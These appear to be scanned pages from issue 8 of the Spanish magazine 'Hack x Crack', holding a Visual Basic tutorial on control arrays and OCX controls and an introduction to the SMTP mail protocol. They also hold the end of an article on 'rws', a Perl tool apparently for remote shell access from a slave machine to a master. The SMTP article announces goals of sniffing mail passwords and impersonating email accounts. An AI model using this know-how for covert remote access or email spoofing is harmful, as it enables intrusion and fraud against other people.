          modo slave en un ordenador remoto y en modo            Por último... Recordad. Las líneas que empiezan
          master en el vuestro (o ambos en el mismo si           con # SON COMENTARIOS. No se interpretan
          tenéis una red loopback definida)...                   como parte del código. Podéis descomentar
                                                                 una línea (una inicialización de variable, p.ej.)
          OJO. Es importante que el "master" este activo         quitando el carácter # inicial. Podéis volver a
          y escuchando ANTES de que el slave trate de            comentarla colocando uno de nuevo.
          conectarse. De lo contrario... El slave cerrará
          su conexión y no volverá a intentarlo hasta el         MUY IMPORTANTE: El código del
          día siguiente (si se ha puesto "yes" en la variable    programa lo tienes en la sección
          $DAILY, claro y descomentado la línea tal como         PROGRAMAS de nuestra Web
          se explicó).                                           (www.hackxcrack.com). No lo hemos
                                                                 puesto en la revista porque ocupa seis
          Ejecución...                                           páginas ;p
          Si ejecutas el programa sin argumentos, saca
          una línea indicando la sintaxis que debes utilizar:

          usar:    rws master|slave [-l [directorio_log]

          El primer parámetro es obligatorio y podrá ser               EL GANADOR DEL
          "master" o "slave" (sin comillas, plz ;)).
          El segundo parámetro es opcional. Indica que               SORTEO DE UN SUSE
          se creará un fichero de log con la sesión actual
          (siempre en el master, NUNCA en el slave)...              LINUX 8.1 DEL MES DE
          Si no se indica un "directorio_log" el fichero se
          creará en el directorio actual.
                                                                             FEBRERO ES:
                                                                       MARCO ANTONIO
          El código completo del programa.
          Recordad que la primera línea del programa                CAMPILLEJO CANDEA
          hace referencia al PATH (camino) absoluto y
          completo en el que se encuentra el intérprete                          MADRID
          de Perl (p.ej. /usr/bin/perl), necesario para
          ejecutarlo.                                            SEGUIR LLAMANDO, EL PROXIMO
                                                                   PODRIA SER PARA TI (PAG 51)
          Podéis copiar este programa y editarlo con
          cualquier EDITOR DE TEXTO PLANO, como el
          vi, el pico, el nano, el kwrite, el "bloc de notas",

PC PASO A PASO Nº 8                                                                                                  Página 43
La calculadora:
                             Rizando el rizo
                                           Por pedro del valle




                        * Aprenderemos lo que es un "array de controles" y un "vector"
                          * Aplicaremos estos nuevos conceptos a la Calculadora que
                                      construimos en el número anterior.
                                   * Crearemos un OCX (Control de Usuario)
                                                 ¿Cómo? ¿Qué?
                                          Venga, que no es tan difícil :)


            Bienvenidos de nuevo al curso de programación     pero que pueden recibir diferentes valores,
            en Visual Basic. En la última entrega hicimos,    declaradas con el mismo nombre (identificador).
            desde 0, una calculadora. Alguien apreció en
            los foros de PC paso a paso que tal vez, el       Menudo rollo. Si me habéis entendido es porque
            código que gestionaba los números pulsados        sois realmente buenos, ya que no yo mismo
            para después procesarlos, fuese demasiado         me entiendo. Por eso creo que es mejor que
            largo y repetitivo, y preguntó si era posible     pongamos un ejemplo práctico, como siempre,
            reducirlo. También creo recordar que alguien      y así vemos la utilidad de los vectores.
            respondió: "un array de controles..."
                                                              - Abrimos un proyecto nuevo, eligiendo como
            Un array de controles, esa sería la solución      proyecto "Exe estándar".
            exacta para reducir todas esas líneas en unas
            pocas.                                            - Al formulario le añadimos dos botones, como
                                                              ya hemos hecho en la calculadora, y los
            Hoy tenía previsto explicaros que era un OCX      llamamos Cmd1 y Cmd2. Hasta aquí nada
            y crear uno también desde 0, y así haremos,       nuevo, pero ahora vamos a jugar un poco con
            pero antes debemos explicar qué s y como se       los nombres de estos controles.
            implementa un array (matriz) de controles en
            cualquier proyecto de VB, y en este caso, lo      - Picamos sobre el segundo botón, y vamos a
            haremos sobre la calculadora que ya deberíamos    su propiedad Nombre. Aquí cambiamos Cmd2
            tener acabada.                                    por Cmd1 (sí, sí... no me he vuelto loco, ya sé
                                                              que tenemos un botón con el mismo nombre).
                                                              Ahora presionamos intro y nos debería aparecer
            1.- ¿Qué es un "array"? ¿Qué es                   un mensaje como el de la imagen, si tenemos
            un "vector"?                                      la versión en castellano.


            Bien, antes de todo deberíamos saber qué es
            un array o matriz de controles. Para poner un
            ejemplo sencillo, antes del array de controles,
            explicaremos que es un vector. Lo podríamos
            definir como varias variables del mismo tipo,

Página 44                                                                                        PC PASO A PASO Nº 8
LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO




           - Le decimos "Sí". Automáticamente hemos          Ya tenemos un vector de números enteros,
           creado un array (matriz) de controles, ya que     ahora vamos a interactuar con él.
           tanto el botón 1 como el botón 2 tienen el
           mismo nombre, tan solo los distingue su           - Haced doble click sobre el primer botón que
           propiedad Index.                                  hemos creado y escribid un comentario como
                                                             este

  !           La propiedad...                                ' Estoy en Cmd1


 La propiedad Index la podemos visualizar y editar en el
 cuadro de propiedades del objeto
                                                                !              Los      comentarios...

                                                                Los comentarios en VB, como en cualquier otro lenguaje
                                                                de programación, sirven para hacer más legible el código.
                                                                Lo que se escriba en los comentarios solo será visto por el
  !           Comentario de...                                  programador, y no provocará errores. Para hacer una línea
                                                                de comentario en VB ponemos primero el carácter ' y
                                                                después escribimos el comentario. Podemos apreciar que
 Comentario de Hack x Crack: En los números anteriores
                                                                el texto adquiere el color verde.
 ya explicamos cómo conseguir el compilador de Visual
 Basic, el proceso de instalación y cómo compilar un
 programa. Si tienes dudas repasa los números anteriores     - Ahora volvamos al diseño del formulario y
 y si no los pudiste comprar pídelos en nuestra Web          piquemos dos veces sobre el segundo botón.
 (www.hackxcrack.com)                                        ¿Qué ha pasado?, si lo hemos hecho bien el
                                                             cursor debería haberse posicionado de nuevo
                                                             en la misma línea donde habíamos escrito el
           Vale, ahora que tenemos un array vamos a          comentario.
           declarar un vector. Hay que tener en cuenta
           que nuestro array de controles y el vector que    Private Sub Cmd1_Click(Index As Integer)
           vamos a declarar no tienen nada que ver,            'Estoy en Cmd1
           sencillamente he pensado matar los dos pájaros    End Sub
           de un tiro, y explicaros vectores y arrays de
           controles en un mismo ejercicio. Una vez          Esto es totalmente correcto, ya que ahora no
           aclarado esto vamos al grano.                     tenemos dos botones independientes sino que
                                                             es un mismo botón con diferente índice. Si os
           - Abrimos el editor de código de VB (doble        dais cuenta ha aparecido un texto entre los
           click sobre el formulario, por ejemplo) y vamos   paréntesis que en la calculadora no teníamos.
           a la primera línea.                               "Index as integer" significa que en la variable
                                                             Index VB va a introducir el índice del botón
           - Escribimos el siempre recomendado Option        pulsado, es decir, que si hemos presionado el
           Explicit, y justamente después, un vector         botón 1 Index valdrá 0, y si hemos pulsado el
           de números enteros, de la siguiente               botón 2, Index valdrá 1 (o los que hallamos
           manera                                            puesto en el cuadro de propiedades).

           Option explicit                                   Para hacer el ejemplo práctico vamos a cargar
           Dim IntNum(2) as Integer                          con dos valores el vector que hemos declarado

PC PASO A PASO Nº 8                                                                                             Página 45
LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO




             anteriormente.                                    condicionales para acabar el ejercicio.

                                                               Private Sub Cmd1_Click(Index As Integer)
  !            Por defecto...
                                                                 'Estoy en Cmd1
                                                                 If Index = 0 Then
  Por defecto, VB pone el índice 0 al primero botón, ya que         MsgBox IntNum(1)
  para el 0 es el primer número, no 1.                           End If
                                                                 If Index = 1 Then
                                                                    MsgBox IntNum(2)
                                                                 End If
            - Vamos al evento Form_Load picando dos
                                                               End Sub
            veces en el formulario. En este evento vamos
            a introducir dos valores enteros a "IntNum" de
                                                               - Ejecutamos el programa y pulsamos los dos
            la siguiente manera:
                                                               botones. Si todo ha ido bien, el primero debería
                                                               mostrar un mensaje con el número 10, y el
            Private Sub Form_Load()
                                                               segundo con el número 22.
             IntNum(1) = 10
             IntNum(2) = 22
            End Sub
                                                                   !           En ningún...
            ¿Que hemos hecho?, pues ahora los valores
            "10" y "22" estarán alojados en IntNum(1) e           En ningún caso pueden haber dos controles dentro de una
            IntNum(2) respectivamente.                            matriz que tengan el mismo Index, si intentásemos hacer
                                                                  esto veríamos el siguiente mensaje de error

  !            El vector...

  El vector IntNum se ha declarado como un vector de 2
  posiciones, es decir, jamás podremos introducir un valor
  en la posición IntNum(3) ya que no existe. Si deseáramos
  tener mas posiciones, en este caso, declararíamos a IntNum
  con las posiciones necesarias. (Por ejemplo: IntNum(10)
  para 10 posiciones.)


            A partir de ahora tenéis que pensar que
            IntNum(1) es una variable y IntNum(2) es otra,
            con valores distintos.                             2.    Aplicando lo aprendido : Una
                                                               array en la calculadora
            - Una vez cargados los valores, vamos de nuevo
            al Form_Load y borramos la línea de comentario     Espero de veras que halláis entendido que es
            que anteriormente habíamos escrito (También        y como se utiliza tanto un vector como un array
            podéis dejarla, lo dejo a vuestra elección).       de controles. Si nos fijamos bien podemos
                                                               apreciar que son muy parecidos, ya que estamos
            Para distinguir el botón que se ha pulsado         hablando de un mismo objeto/variable que
            tenemos, como ya hemos dicho antes, el Index,      contiene varios valores diferenciados por su
            entonces escribiremos estas sentencias             índice.

Página 46                                                                                          PC PASO A PASO Nº 8
LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO




                                                                 Private Sub Cmd5_Click()
  !             Los valores que...                                 TxtOper.Text = TxtOper.Text & "5"
                                                                 End Sub

  Los valores que añadimos a un vector tienen que ser siempre    Private Sub Cmd6_Click()
  del mismo tipo al que hemos declarado la variable, es decir,     TxtOper.Text = TxtOper.Text & "6"
  en el caso de IntNum(x), al ser integer, lo que queramos       End Sub
  introducir en ella, siempre deberá ser un valor entero,
  independientemente el índice de la variable.                   Private Sub Cmd7_Click()
                                                                   TxtOper.Text = TxtOper.Text & "7"
                                                                 End Sub
             Bien, ahora abramos la calculadora. En el diseño
             del formulario, vamos a los diferentes botones      Private Sub Cmd8_Click()
             y les cambiamos el nombre a Cmd1 (a todos)            TxtOper.Text = TxtOper.Text & "8"
             y cambiamos también la propiedad Index de           End Sub
             cada uno de ellos con el número que le
             corresponda según su valor (es decir, si el         Private Sub Cmd9_Click()
             botón que estamos cambiando era el Cmd0,              TxtOper.Text = TxtOper.Text & "9"
             su nuevo Index debería ser 0, para nuestra          End Sub
             comodidad en este ejercicio).
             Una vez tenemos cambiados todos los botones,        Una vez borradas, picamos dos veces sobre
             es hora de acabar con esto.                         cualquiera de los botones, (recordemos que
             Primero, borramos todas las líneas del código       ahora son todos el mismo botón, diferenciados
             anterior, que ahora son totalmente inútiles.        por el índice) y añadimos la siguiente línea
             Las líneas exactas que tenéis que borrar son
             las siguientes:                                     Private Sub Cmd1_Click(Index As Integer)
                                                                      TxtOper.Text = TxtOper.Text & Index
             Private Sub Cmd0_Click()                            End Sub
                   TxtOper.Text = TxtOper.Text & "0"
             End Sub                                             ¿Que hace esto? Pues estamos concatenando
                                                                 el valor de TxtOper con el del Index que, si
             Private Sub Cmd1_Click()                            antes lo hemos hecho bien, debería tener el
                   TxtOper.Text = TxtOper.Text & "1"             mismo valor que el del botón (0 para el Cmd0,
             End Sub                                             1 para el Cmd1...).
                                                                 Otra posibilidad, la cual me gusta mas, seria
             Private Sub Cmd2_Click()                            la siguiente:
                   TxtOper.Text = TxtOper.Text & "2"
             End Sub                                             Private Sub Cmd1_Click(Index As Integer)
                                                                         TxtOper.Text = TxtOper.Text &
             Private Sub Cmd3_Click()                                    Cmd1(Index).Caption
                   TxtOper.Text = TxtOper.Text & "3"             End Sub
             End Sub
                                                                 En este caso estamos concatenando TxtOper
             Private Sub Cmd4_Click()                            con el Caption del botón pulsado, que es el
                   TxtOper.Text = TxtOper.Text & "4"             mismo que el valor que necesitamos.
             End Sub                                             Ejecutamos el proyecto, y si todo ha ido bien,

PC PASO A PASO Nº 8                                                                                               Página 47
LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO




            acabamos de crear un array de controles para        Colocamos el objeto en el formulario y lo
            todos los botones numéricos de la calculadora,      estiramos para que ocupe el máximo de área
            y ahora...., ¿alguien se atreve con los botones     de proyecto, como en la imagen.
            operadores?.                                        Bien, ahora que lo tenemos colocado vamos a
                                                                crear las instrucciones necesarias para que se
            3.- OCX : El control de usuario                     pueda pintar en nuestro OCX.
                                                                Vamos al editor de código y creamos una
            ¿Qué es un OCX? Os estaréis preguntando. Un         función que recibirá los parámetros necesarios
            OCX es un control de usuario, es un objeto          para pintar un círculo.
            creado por el programador. Por ejemplo, si
            quisiéramos tener un objeto que estuviera
            compuesto por 2 botones, crearíamos un OCX
                                                                    !            Puedes crear...
            que constaría de un pequeño panel con esos
            dos botones. Este OCX, una vez creado, lo              Puedes crear las funciones de un proyecto con el wizard
            podríamos utilizar en nuestros futuros proyectos.      que incorpora VB. Para ello debes ir a Herramientas-
                                                                   >Agregar procedimiento, y en la siguiente ventana elegir
            El OCX, como la DLL, son dos pasos muy                 función, ponerle un nombre y darle un ámbito público para
            importantes en el estudio de la programación.          poder acceder a ella desde cualquier proyecto.
            Es totalmente necesario que quede claro el
            concepto de estos. El control que vamos crear
            será una especie de pizarra, donde podremos         Yo, por ejemplo, a esta función le he llamado
            pintar círculos en diferentes colores. Para         "AddCirculo", ya que esta será su funcionalidad
            empezar nuestro OCX, abrimos un nuevo               (añadir círculos).
            proyecto. En la ventana de selección de tipo        La función recibirá como parámetros la posición
            de proyecto, esta vez, no cogeremos "EXE            X, la Y, el radio y color del círculo.
            estándar" sino que escogeremos "Control Active
            X".
            Vamos a introducir un nuevo objeto, el
                                                                    !            Las funciones...
            PictureBox.
                                                                   Las funciones y procedimientos se utilizan generalmente
                                                                   para ahorrar código repetitivo, aunque en este caso es
                                                                   estrictamente necesario su uso para poder acceder al OCX,
                                                                   ya que una vez generado el control lo vamos a utilizarlo
                                                                   en otros proyectos.


                                                                Los parámetros que se reciben se han de indicar
                                                                entre los paréntesis de la función, la cosa
                                                                quedaría así:

                                                                Public Function AddCirculo (X As Long, Y As Long,
                                                                R As Long, C As Integer)

                                                                End Function

                                                                - X e Y marcarán la posición del circulo, por

Página 48                                                                                            PC PASO A PASO Nº 8
LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO




           eso son de tipo Long, ya que pueden ser              Si picáis sobre la palabra Circle y pulsáis F1
           mayores al máximo admitido por el tipo de            veréis el significado de cada uno de los
           dato Integer (en la segunda entrega ya se            parámetros que recibe, siempre y cuando
           indicaron los rangos de tipos de datos).             tengáis bien instaladas las MSDN.
                                                                Bien, ¿qué estamos haciendo aquí?, pues muy
           - R indica el radio del círculo, el cual puede ser   fácil, le hemos dicho a nuestro OCX que dibuje
           tan grande como nosotros queramos, por lo            un circulo en PB de radio R en las posiciones
           que también será Long.                               X,Y con el color C.

           - Finalmente C, que indicará el color. En este       ¿Y de donde recibe los valores esta función?
           caso si que estamos hablando de un dato de           Pues del formulario donde estamos agregando
           tipo Integer, ya que su valor estará entre 0 y       nuestro OCX. En este caso, para hacer la prueba
           15 (colores básicos).                                previa, vamos al explorador de proyectos (arriba
           Ahora, dentro de esta función, vamos a dibujar       a la derecha) y picamos con el botón derecho
           el circulo. Para ello debemos utilizar la función    sobre el proyecto. Nos aparecerá un menú
           Circle que tiene el PictureBox. (¿Os habéis          desplegable, donde deberíamos ver el submenú
           acordado de cambiarle ya el nombre?) Yo he           Agregar. Al desplegarse este submenú podemos
           llamado a mi PictureBox PB, por lo que la línea      ver Formulario, Formulario MDI, modulo...
           quedará así:
                                                                Nosotros, en nuestro caso, escogeremos
           Public Function AddCirculo(X As Long, Y As Long,     Formulario. Si os fijáis bien, en la paleta de
           R As Long, C As Integer)                             objetos hay uno nuevo, colocado habitualmente
           PB.Circle (X, Y), R, QBColor(C)                      al final, seguramente deshabilitado, el cual es
           End Function                                         nuestro control de usuario. Para poder agregar
                                                                uno a nuestro proyecto debéis volver antes al
                                                                Control de usuario y cerrar todo pulsando el
 !            La función...                                     aspa de la imagen, hasta que vuelva al
                                                                formulario que hemos agregado.
 La función QbColor() devuelve el valor necesario para la
 función Circle cuando le pasamos un número entero. Los
 valores para C están en esta tabla:




                                                                Si hemos hecho todo bien, deberíamos poder
                                                                agregar nuestro OCX al nuevo formulario. Vamos
                                                                a la paleta de controles, lo pintamos y

PC PASO A PASO Nº 8                                                                                                Página 49
LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO




             redimensionamos hasta que adquiera el tamaño       "Tipo de proyecto" por "Exe estándar". También
            necesario (sería lo equivalente a hacer doble       debemos fijarnos que en el combo "Objeto
            click sobre el objeto en la paleta de controles).   Inicial" aparece el nombre de nuestro
            Necesitamos también saber la X, Y, radio y          formulario. Aceptamos y ejecutamos. Si todo
            color, aquí dejo que vuestra imaginación decida,    ha ido bien deberíamos poder dibujar círculos
            por mi parte, voy a crear 4 cajas de texto y un     en nuestro control OCX.
            botón.
                                                                Esto visto así, puede parecer una autentica
            Los TextBox servirán para indicar cuales serán      chorrada, seguro que alguno se está
            los valores para las variables anteriormente        preguntando ¿y porque no hemos puesto un
            mencionadas (X,Y,R,C), y cada vez que               PictureBox en un formulario directamente y
            pulsemos Pintar se dibujará un circulo en el        pintamos a partir de este?, pues ahora vamos
            PictureBox de nuestro OCX.                          a ver la verdadera utilidad de un OCX.


  !           En mi OCX...                                      2.- Reutilizando el OCX : Generar
                                                                el fichero
  En mi OCX el PictureBox es de color blanco, y no gris.
  Esto es porque yo he cambiado la propiedad BackColor          Volvemos a Proyecto->Propiedades y
  del PictureBox al color blanco.                               cambiamos los parámetros para que vuelvan
                                                                como al inicio (Tipo de proyecto = "Active X"
                                                                y Objeto inicial = "ninguno").

                                                                Picamos dos veces sobre el control de usuario
                                                                en el explorador de proyectos y generamos el
                                                                OCX, ¿Cómo?, pues yendo a Archivo->Generar
                                                                MiControl.ocx


                                                                   !            Sí os aparece...

                                                                   Si os aparece un error indicando que vuestro control no es
                                                                   público, debéis ir a la propiedad "Public" del cuadro de
                                                                   propiedades del control y ponerle el valor a true


                                                                Nos va a aparecer un "browser" para guardar
            Lo que queda ahora es sencillo:                     el archivo físicamente donde queramos.
                                                                Nosotros, para no perdernos, lo vamos a guardar
            Private Sub CmdPintar_Click()                       en la misma carpeta del proyecto.
               MiControl1.AddCirculo TxtX, TxtY, TxtRadio,
            TxtColor                                            Una vez generado cerramos todo nuestro
            End Sub                                             proyecto (acordaos de guardar antes de nada)
                                                                y abrimos otro nuevo. En esta ocasión cogemos
            Para poder ejecutar esto, en modo de prueba,        "Exe estándar".
            debemos ir al menú Proyecto->Propiedades y
            aquí, cambiamos "Control Active X" en el Combo      Vamos a proyectos->componentes y le damos

Página 50                                                                                            PC PASO A PASO Nº 8
LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO




           al botón examinar. Podéis apreciar que se ha           -        Pintar Píxel
          abierto un explorador para buscar archivos              -        Pintar Línea
          .ocx, por lo que nosotros vamos a buscar el             -        Borrar píxel
          que nos interesa, y este es el que acabamos             -        Borrar Línea
          de guardar en la carpeta del proyecto.                  -        Botón deshacer...
                                                                  Hasta aquí hemos llegado por hoy, para la
          Una vez agregado debería aparecernos en la              próxima entrega, creación de una DLL desde
          paleta de controles un nuevo objeto, como nos           0!!, Saludos.
          había pasado anteriormente, con la diferencia
          de que ahora no tenemos el ocx en nuestro
          explorador de proyecto, si no que estamos                    !            En nuestra WEB...
          accediendo al OCX directamente, sin mediar
          código alguno (como podríamos hacer contra                   En nuestra Web (www.hackxcrack.com), en la SECCIÓN
          el WinSock, por ejemplo)                                     PROGRAMAS tienes el código de los proyectos explicados
                                                                       en este curso. Si no tienes ganas de escribir, ya sabes,
          Lo agregamos al formulario y lo                              descárgalo!!!
          redimensionamos tal y como habíamos hecho
          anteriormente. Si ahora escribimos "MiControl."
          Se nos desplegará un menú con todas las                     !             Si tienes...
          opciones que tenemos para este control de
          usuario, incluida la función que nosotros                   Si tienes dudas, deseas contactar con otras personas que
          habíamos creado, "AddCirculo".                              están siguiendo este curso de Visual Basic o simplemente
                                                                      quieres opinar sobre el artículo, no lo dudes un instante,
          Bueno, espero que os halla resultado interesante            pásate por EL FORO de Hack x Crack ;)
          el curso, lo que no podéis negar es la utilidad             (www.hackxcrack.com)
          de los OCX para crear controles. Ahora dejo
          que vuestra imaginación sea la que os guíe,                 De verdad, el FORO es un medio de contacto perfecto para
          ¿qué más podéis intentar?, multitud de opciones,            esto, no nos envíes mails porque es EN EL FORO y con
          como:                                                       la ayuda de todos los miembros donde podemos, entre
          -        Borrar círculo                                     todos, resolver dudas y ampliar conocimientos.




                  SI TE GUSTA LA INFORMÁTICA.
          SI ESTAS “CABREADO” CON GÜINDOUS ;)
             SI QUIERES PROGRESAR DE VERDAD
                                                                                             Incluye 7 CD’s y 1 DVD
                      PC PASO A PASO                                                         Manual de Instalación.
             SOR TEA CADA MES UN S.O.                                                        Manual de Administracion

         SUSE LINUX PR OFESSION AL 8.1
          SIMPLEMENTE ENVIA LA PALABRA
                            PCCON AL 5099
                           DESDE TU MOVIL
       PRECIO DEL MENSAJE: 0,90€ + IVA. VALIDO PARA (MOVISTAR - VODAFONE Y AMENA)
                                   IVA. VALIDO PARA (MOVISTAR


                     EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO
                         DE PC O CONSOLA QUE NO SUPERELOS 85€
        EL GANADOR SALDRA PUBLICADO AQUÍ 2 NÚMEROS DESPUES DE LA PUBLICACIÓN.




PC PASO A PASO Nº 8                                                                                                  Página 51
SERIE RAW: CONOCIENDO
            PROTOCOLOS Y SU SEGURIDAD.
            RAW2: SMTP (Protocolo de
                envio de correo
                   electronico)


            -       Conoceremos el funcionamiento del transporte de correo electrónico.
            -       Recordaremos el funcionamiento de Telnet.
            -       Aprenderemos a codificar y decodificar passwords de correo.
            -       Capturaremos claves de correo mediante un sniffer.
            -       Aprenderemos a suplantar la personalidad de cualquier cuenta de correo.
            -       Enviaremos mensajes a destinos imposibles.
            -       Aprenderemos a detectar si nos hacen a nosotros alguna de estas cosas. ;-)
            -       ¡Y mucho más!


            1. Documentación                                  ahorraré el trabajo, diciéndoos que el documento
                                                              que a nosotros nos interesa ahora es el RFC
            Como ya vimos en el número anterior de la         2821 (ftp://ftp.rfc-editor.org/in-
            serie RAW, hay básicamente 3 formas de            notes/rfc2821.txt). Si, aún así, os habéis
            investigar el funcionamiento de un protocolo.     molestado en mirar los resultados de la
            Como breve resumen, os las recuerdo:              búsqueda (espero que no seáis tan vagos como
                                                              para no haberlo hecho), habréis visto un montón
            1- Leer los documentos técnicos adecuados         de documentos que incluyen en su título el
            (RFCs)                                            término "service extension". Como ya
            2- Realizar ingeniería inversa mediante un        veremos a lo largo del artículo, SMTP es un
            sniffer                                           protocolo con unas funciones muy básicas que
            3- Seguir fielmente cada artículo de la serie     se amplía de forma modular con una serie de
            RAW en la revista HackXCrack. ;-)                 extensiones opcionales, que estarán o no
                                                              implementadas dependiendo de cada servidor,
            Con respecto al primer punto, podéis comprobar    y que son precisamente las llamadas "service
            que, si buscamos el término "SMTP" en la Web      extension".
            oficial de los documentos RFC                     Podemos ver que estudiar el protocolo SMTP
            (http://www.rfc-editor.org), nos                  es bastante más complicado que estudiar el
            aparecerán una cantidad importante de             POP3 (por algo empezamos la serie RAW por
            entradas, por lo que es fácil que nos perdamos.   POP3 ;-), ya que no sólo tenemos un RFC de
            En realidad, es fácil encontrar el documento      79 páginas con la funcionalidad "básica", si no
            adecuado si recordamos lo que ya conté sobre      además un buen taco de documentos sobre
            el campo "More Info (Obs&Upd)", pero os           cada una de las "service extension". Pero

Página 52                                                                                         PC PASO A PASO Nº 8
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




            tranquilos, que en este artículo os lo daremos      de correo de Macizorra, en un ISP llamado
            ya todo masticadito. ;-D                            JotMail. Así que Pringaete escribe en su cliente
                                                                de correo (Eudora, Outlook, Kmail, o el que
            2. Mecanismo básico del correo                      sea) el siguiente mensaje:
            electrónico
                                                                From: pringaete@buanadu.es
            Antes de continuar, es importante que tengáis       To: macizorra@jotmail.com
            bien claro que lo explicado en este artículo (y     Subject: te amo
            en el anterior) no es aplicable a las cuentas
            de correo por Web.                                  Estas mu buena. ¿Quieres salir conmigo?
            Como vimos en el artículo anterior, el protocolo
            POP3 se utiliza tan sólo para la recepción del      Fdo: Pringaete
            correo electrónico y, como veremos ahora,
            SMTP es el protocolo que se utiliza para el         Cuando ya ha redactado su bonita declaración
            envío. Para comprender por qué se utilizan dos      de amor, pulsa el botón ENVIAR y unos enanitos
            protocolos diferentes para un mismo servicio        mágicos meten el mensaje en una caja de
            (el correo electrónico, o e-mail), vamos a ver      zapatos y lo llevan volando hasta la bella
            de forma rápida el funcionamiento del correo        Macizorra... ¿o no es así? ¿No habíamos quedado
            electrónico mediante una "historieta" de            en el artículo anterior en que los enanos mágicos
            ejemplo.                                            sólo se utilizan para construir calculadoras
                                                                japonesas, y no para transportar paquetes?
            En nuestra historia hay 3 personajes: Pringaete,    Vamos a ver entonces que es lo que ocurre en
            Macizorra, y Musculitos.                            realidad desde el instante en que Pringaete
                                                                pulsa el botón ENVIAR.

                                                                2.1. El PC de Pringaete se conecta con el
                                                                servidor SMTP de Buanadú.

                                                                Lo primero que hace el cliente de correo de
                                                                Pringaete cuando éste pulsa el botón ENVIAR,
                                                                es conectarse al servidor SMTP de Buanadú.
                                                                Cuando Pringaete configuró su cliente de correo,
                                                                tuvo que introducir un par de datos, que eran:
                                                                la dirección del servidor POP3 de Buanadú
                                                                (para poder recibir su correo, tal y como vimos
                                                                en el artículo anterior), y la dirección del
                                                                servidor SMTP de Buanadú (para poder enviar
                                                                su correo, tal y como veremos ahora). Así que
Pringaete       Macizorra              Musculitos
                                                                su cliente sabe perfectamente dónde debe
                                                                conectarse. Una vez establecida la conexión,
            Nuestro amigo Pringaete ha decidido armarse         el cliente envía una serie de comandos al
            de valor y declarar su amor a Macizorra y, como     servidor de Buanadú, los cuales veremos en
            es bastante cortado, el mejor medio que ha          detalle más adelante y, una vez enviados esos
            encontrado para hacerlo es el correo electrónico.   comandos, cierra la conexión y se olvida para
            Para ello dispone de una cuenta de correo en        siempre del tema, dejando el problema en
            un ISP llamado Buanadú, y conoce la dirección       manos del servidor de Buanadú.

PC PASO A PASO Nº 8                                                                                                 Página 53
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




                                                                Puede ser que el servidor de Buanadú no pueda
                                                                localizar directamente el servidor de Jotmail,
                                                                para lo cual tendrá que utilizar algún otro
                                                                servidor de SMTP intermedio, al cual localizará
                                                                igualmente mediante el mecanismo DNS MX.
                                                                Estos servidores intermedios pueden ser de
                                                                dos tipos:
                                                                - Relays: Cuando se limitan a hacer de
                                                                intermediarios sin realizar ninguna modificación.
            La conclusión a la que hemos llegado es que         - Gateways: Cuando, además de transportar
            nuestro cliente de correo no tiene que              el mensaje, realizan alguna modificación
            preocuparse de cómo localizar el servidor de        necesaria para que éste llegue hasta el destino
            Jotmail, en donde se encuentra la cuenta de         final, normalmente por diferencias en los
            correo del destinatario, Macizorra, si no que       protocolos utilizados.
            delega por completo en el servidor de SMTP
            para el cual fue configurado (el de Buanadú),
            el cual se encargará, en los siguientes pasos
            que veremos ahora, de transportar el mensaje
            hasta su destino final.

            2.2. El servidor SMTP de Buanadú busca
                                                                2.3. El mensaje llega a la cuenta de Jotmail
            el servidor SMTP de Jotmail.
                                                                de Macizorra.
            Esto lo cuento muy brevemente, ya que lo que
                                                                Hasta que el mensaje de Pringaete llega a la
            nos interesa a nosotros en este artículo es el
                                                                cuenta de Jotmail de Macizorra, éste puede
            primer paso, que ya he explicado, es decir, la
                                                                haber pasado por varios servidores SMTP
            conexión entre el cliente de correo y el servidor
                                                                intermedios.
            de SMTP. A partir de ese momento, ya no
                                                                Sin importar cual haya sido el camino que ha
            tendremos control sobre lo que ocurre con
                                                                seguido el mensaje, finalmente llegará hasta
            nuestro mensaje, por lo que lo que realmente
                                                                el servidor SMTP de Jotmail, el cual se limitará
            nos interesa es precisamente hasta ese punto.
                                                                a almacenar el mensaje en su disco duro, en
            Como bien dice el epígrafe, una vez que
                                                                espera de que Macizorra se conecte por POP3
            Pringaete ha cerrado la conexión entre su
                                                                (o cualquier otro protocolo de recepción de
            cliente de correo y el servidor SMTP de Buanadú,
                                                                correo electrónico) a su cuenta para bajarlo a
            éste último se encargará de transportar el
                                                                su PC.
            mensaje hasta el servidor de Jotmail, que es
                                                                Como ya vimos en el artículo anterior, el mensaje
            desde donde podrá leerlo Macizorra. Para ello
                                                                quedará almacenado en el disco duro del
            utiliza un mecanismo del clásico servicio de
                                                                servidor hasta que el cliente POP3 de Macizorra
            DNS (DNS MX, o DNS Mail eXchanger
                                                                ejecute el comando DELE.
            mecanism) en el que no entraremos en detalle.
            Estad atentos a la revista, porque es probable
            que dedique algún número de la serie RAW a
            explicar de un tirón varios protocolos tan
            sencillos que no merecen un artículo dedicado,
            entre los cuales podrá encontrarse el protocolo
            DNS.

Página 54                                                                                            PC PASO A PASO Nº 8
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




          2.4. Macizorra lee el mensaje.                      To: pringaete@buanadu.es
                                                              Subject: Ajo y Agua
          Una vez que el mensaje está ya en la cuenta
          de correo de Macizorra, éste quedará                Lo siento, Pringa, pero ya estoy saliendo con
          almacenado en el disco duro del servidor de         Musculitos. Es una pena, porque si no fuese por
          Jotmail hasta que Macizorra decida un buen          el...
          día comprobar si tiene algún mensaje, para lo
          cual conectará mediante POP3 desde su cliente       Fdo: Macizorra
          de correo hacia el servidor POP3 de Jotmail,
          tal y como vimos en el artículo anterior. También   Vamos a ver en detalle lo que hace el cliente
          podría utilizar otro protocolo de recepción de      de correo de Macizorra para llevar la desgraciada
          correo (como IMAP), ya que una vez que el           noticia al pobre Pringaete.
          mensaje está almacenado en el disco duro, ya
          sólo depende de los protocolos que tenga            3.1.   Estableciendo          la   conexión
          implementados el servidor de correo para
